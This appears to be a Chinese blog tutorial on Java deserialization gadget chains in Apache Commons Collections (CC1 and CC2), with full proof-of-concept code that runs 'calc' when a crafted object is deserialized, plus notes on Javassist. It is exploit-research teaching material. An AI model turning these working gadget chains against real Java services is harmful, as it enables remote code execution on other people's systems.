Java反序列化漏洞(六)--CommonsCollections链全家桶


[toc]

CommonsCollections 1

Java版本为:1.7 (8u71之后已修复)

CommonsCollections 3.1 - 3.2.1

<dependency>
 <groupId>commons-collections</groupId>
 <artifactId>commons-collections</artifactId>
 <version>3.2.1</version>
</dependency>

LazyMap

官方文档:https://commons.apache.org/proper/commons-collections/apidocs/org/apache/commons/collections4/map/LazyMap.html

简介:修饰另一个 map,当调用 map 中不存在的 key 时使用工厂创建对象

多说无益,上代码

package com.yq1ng.cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.lang3.StringUtils;

import java.util.HashMap;
import java.util.Map;

/**
 * @author ying
 * @Description
 * @create 2021-10-22 13:24
 */

public class TestLazyMap {
    public static void main(String[] args) {
        //  定义处理不存在 key 的情况,可以是 Transformer 也可以是 ChainedTransformer 链子
        //  用于反转调用不存在的 key 值
        final Transformer reverseString = new Transformer() {
            public Object transform(Object object) {
                String name = (String) object;
                String reverse = StringUtils.reverse(name);
                return reverse;
            }
        };

        Map names = new HashMap();
        //  将处理链传给 lazyMap
        Map lazyMap = LazyMap.decorate(names, reverseString);
        //  lazyMap 为空,测试调用不存在 key
        String name = (String) lazyMap.get("yq1ng");
        System.out.println("name:" + name);
        //  put 一个键值
        lazyMap.put("yq1ng", "TestLazyMap");
        //  key 存在,不进入处理链
        name = (String) lazyMap.get("yq1ng");
        System.out.println("name:" + name);
    }
}

image-20211022134428780

可以看到 LazyMap.decorate(Map map, Transformer factory) 的 factory 是可以被控制的,而 Transformer 是一个接口,看看其实现有哪些

image-20211022135523080

ConstantTransformer

官方文档:https://commons.apache.org/proper/commons-collections/javadocs/api-3.2.2/org/apache/commons/collections/functors/ConstantTransformer.html

简介:当调用其 transform 方法时,它将返回构造时传入的 对象

image-20211022222014293

这个就不需要例子了吧,算了还是写一个吧哈哈哈

package com.yq1ng.cc1;

import org.apache.commons.collections.functors.ConstantTransformer;

/**
 * @author ying
 * @Description
 * @create 2021-10-22 22:20
 */

public class TestConstantTransformer {
    public static void main(String[] args) {
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
        System.out.println(constantTransformer.transform(new String()));
    }
}

image-20211022222758704

InvokerTransformer

官方文档:https://commons.apache.org/proper/commons-collections/javadocs/api-3.2.2/org/apache/commons/collections/functors/InvokerTransformer.html

简介:初始化此类后,调用 transform 方法将通过反射创建对象实例

代码也很清楚

image-20211022223052934

没有什么限制,妥妥的 rce 执行点,这也是本 gadget 的终点,来个例子看看

package com.yq1ng.cc1;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

/**
 * @author ying
 * @Description
 * @create 2021-10-22 22:32
 */

public class TestInvokerTransformer {
    public static void main(String[] args) {
        HashMap hashMap = new HashMap();
        //  这里使用 LazyMap 是不行的,因为他继承的是 AbstractMapDecorator
        //  其 put 就是简单的 map.put,没有其他操作,这也和 LazyMap 的名字很像,懒 Map
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,
                new InvokerTransformer(
                    "exec",
                    new Class[]{String.class},
                    new Object[]{"calc.exe"}
                ));
        lazyMap.put(Runtime.getRuntime(), "yq1ng");
        //  需要使用 TransformedMap,在调用 put 时会修饰 key 和 value
        //  而 map 的修饰我们已经定义好了,弹出计算器
        Map map = TransformedMap.decorate(hashMap,
                new InvokerTransformer(
                        "exec",
                        new Class[]{String.class},
                        new Object[]{"calc.exe"}
                ),null);
        map.put(Runtime.getRuntime(), "yq1ng");
    }
}

image-20211022233656686

ChainedTransformer

官方文档:https://commons.apache.org/proper/commons-collections/apidocs/org/apache/commons/collections4/functors/ChainedTransformer.html

简介:将各个 Transformer 连接在一起,使用上一个 Transformer 的结果作为下一个 Transformer 的输入

他的代码也很简单,依次调用传入 Transformer 的 transform

image-20211022234228379

来个例子

package com.yq1ng.cc1;

import javafx.scene.transform.Transform;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

/**
 * @author ying
 * @Description
 * @create 2021-10-22 22:08
 */

public class TestChainedTransformer {
    public static void main(String[] args) {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})
        });
        HashMap hashMap = new HashMap();
        Map map = TransformedMap.decorate(hashMap, chain, null);
        map.put("yq1ng", "test");
    }
}

动态代理劫持

如果不会动态代理的话可以先看看这个:java动态代理实现与原理详细分析

代理有点像 PHP 的 __call 方法

直接上代码了,文件名不用写了吧,都懂

package com.yq1ng.cc1.DynamicProxy;

public interface GetFlag {
    void GiveMeFlag();
}
package com.yq1ng.cc1.DynamicProxy;

/**
 * @author ying
 * @Description
 * @create 2021-10-24 8:00 PM
 */

public class GetFlagImpl implements GetFlag {
    public void GiveMeFlag() {
        System.out.println("Give you flag : flag{yq1ng}");
    }
}
package com.yq1ng.cc1.DynamicProxy;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

/**
 * @author ying
 * @Description
 * @create 2021-10-24 8:02 PM
 */

public class GetFlagService {
    public static void main(String[] args) {
        InvocationHandler handler = new InvocationHandler() {
            public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                if (method.getName().equals("GiveMeFlag")){
                    System.out.println("nonono! I can't give it to you flag~");
                }
                return null;
            }
        };
        GetFlag getFlag = (GetFlag) Proxy.newProxyInstance(
                GetFlagImpl.class.getClassLoader(),
                new Class[] {GetFlag.class},
                handler
        );
        getFlag.GiveMeFlag();
    }
}

image-20211024201317089

运行以后发现并未获得 flag ,这就是简单的劫持

gadget

上面是能成功利用了,但是不可能让你直接使用 put 的,所以需要另辟蹊径。ysoserial 使用的是 org/apache/commons/collections/map/LazyMap.java#get(), 上面也提到过, LazyMap.get() 在找不到值的时候会调用 factory.transform,也就是经过处理链,那么只需要找到一个能直接/间接执行这个方法的类就好了。结果寻找到 rt.jar!/sun/reflect/annotation/AnnotationInvocationHandler.class#invoke() 直接调用了 get()

image-20211024231948788

那谁又去调用 AnnotationInvocationHandler.invoke() 呢?ysoserial 使用的是 动态代理:Proxy.newProxyInstance() ,可以把它想象成 PHP 的 __call()。注意 AnnotationInvocationHandler 也是一个 InvocationHandler ,也就是如果将这个对象进行代理,那么在 readObject() 的时候调用任意方法就会进到 invoke() 里面。

代理可以这么写:

//  获取 AnnotationInvocationHandler 私有构造器并取消Java访问安全检查
       Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
       handler_constructor.setAccessible(true);

       //  创建 map 代理 handler
       InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);
       //  创建 map 代理,劫持调用 map 时将数据经过处理链 chain
       Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);

此时还不能序列化,因为这时候还是直走到 invoke() ,需要再次代理一下,对这个 invoke() 进行包装,使得在反序列化的时候调用到它

//  获取 AnnotationInvocationHandler 私有构造器并取消Java访问安全检查
       Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
       AnnotationInvocationHandler_Constructor.setAccessible(true);

       //  为了在反序列化(readObject)的时候调用 AnnotationInvocationHandler 的 invoke 方法,再次代理 AnnotationInvocationHandler
       InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

做完上面这些这还不够,由于 Runtime 没有实现 Serializable 接口,所以上面的还是不能直接用,需要将 Runtime.getRuntime() 改为 Runtime.class,因为所有的 Class 类都实现了 Serializable 接口。

其他的细节见下面 poc 的注释

poc

package com.yq1ng.cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

/**
 * @author ying
 * @Description
 * @create 2021-10-19 22:55
 */

public class cc1 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
        //  创建处理链
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc"})});

        //  将处理链塞进 map
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap) LazyMap.decorate(innermap, chain);

        //  获取 AnnotationInvocationHandler 私有构造器并取消Java访问安全检查
        Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        handler_constructor.setAccessible(true);

        //  创建 map 代理 handler
        InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);
        //  创建 map 代理,劫持调用 map 时将数据经过处理链 chain
        Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);

        //  获取 AnnotationInvocationHandler 私有构造器并取消Java访问安全检查
        Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandler_Constructor.setAccessible(true);

        //  为了在反序列化(readObject)的时候调用 AnnotationInvocationHandler 的 invoke 方法,再次代理 AnnotationInvocationHandler
        InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

        try{
            //  写文件,模拟网络传输
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./src/main/java/com/yq1ng/cc1/cc1.ser"));
            outputStream.writeObject(handler);
            outputStream.close();

            //  读文件,模拟网络读取
            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./src/main/java/com/yq1ng/cc1/cc1.ser"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }
}

运行以后可以发现弹出了计算器,但是如果你去调式的话在反序列化之前就会弹出计算器,当调试过了 劫持 map 调用 的那句代码后就会弹出计算器,是因为 idea 要处理每个变量数据展示出来导致执行了 map.toString() 经过了处理链弹出计算器。

参考

Java cc1利用链 简单分析

P神知识星球

CommonsCollections 2

Java版本:暂无限制 (本人环境:8u301)

CommonsCollections 4.0

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

PriorityQueue 链

poc

package com.yq1ng.cc2;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

/**
 * @author ying
 * @Description
 * @create 2021-11-13 10:22 PM
 */

public class cc2 {
    public static void main(String[] args) throws Exception {
        //  创建处理链
        ChainedTransformer chain = new ChainedTransformer(new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                                "getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                                null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"}));

        TransformingComparator Tcomparator = new TransformingComparator(chain);
        PriorityQueue queue = new PriorityQueue(1);

        queue.add(1);
        queue.add(2);

        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,Tcomparator);

        try{
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./src/main/java/com/yq1ng/cc2/cc2.txt"));
            outputStream.writeObject(queue);
            outputStream.close();
            System.out.println(barr.toString());

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./src/main/java/com/yq1ng/cc2/cc2.txt"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

image-20211113233026217

分析

可以看出来,此gadget入口为 java/util/PriorityQueue.java#readObject(),首先是 readObject() --> heapify()

image-20211113233251085

接着进入 siftDown()

image-20211113233342622

image-20211113233444625

在719触发poc中的链子,那么在poc中下面两行的作用是什么?

queue.add(1);
queue.add(2);

将这两行注释掉,debug看看。在 heapify()这里,size=0导致不能进入循环;回溯一下size是怎么来的

image-20211113234846866

从下面可以知道 queue.length 需要大于等于 2 才行,所以才往 queue 里面加了两个元素

image-20211113235053324

image-20211113235030147

后面就和cc1一样了

Javassit

Javassist是一个Java库,提供了一种操作应用程序的Java字节码的方法。从这个意义上讲,Javassist提供了对结构反射的支持,即在运行时更改类的实现的能力。字节码操作是在加载时通过提供的类加载器执行的。Javassist使Java程序可以在运行时定义新类,并在JVM加载该类文件时修改该文件。 维基百科(英文)

ClassPool
ClassPool是CtClass对象的容器,它按需读取类文件来构造CtClass对象,并且保存CtClass对象以便以后使用,其中键名是类名称,值是表示该类的CtClass对象。

常用方法:

  • static ClassPool getDefault():返回默认的ClassPool,一般通过该方法创建我们的ClassPool;
  • ClassPath insertClassPath(ClassPath cp):将一个ClassPath对象插入到类搜索路径的起始位置;
  • ClassPath appendClassPath:将一个ClassPath对象加到类搜索路径的末尾位置;
  • CtClass makeClass:根据类名创建新的CtClass对象;
  • CtClass get(java.lang.String classname):从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用;

CtClass
CtClass类表示一个class文件,每个CtClass对象都必须从ClassPool中获取。

常用方法:

  • void setSuperclass(CtClass clazz):更改超类,除非此对象表示接口;
  • byte[] toBytecode():将该类转换为类文件;
  • CtConstructor makeClassInitializer():制作一个空的类初始化程序(静态构造函数);

文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
  目录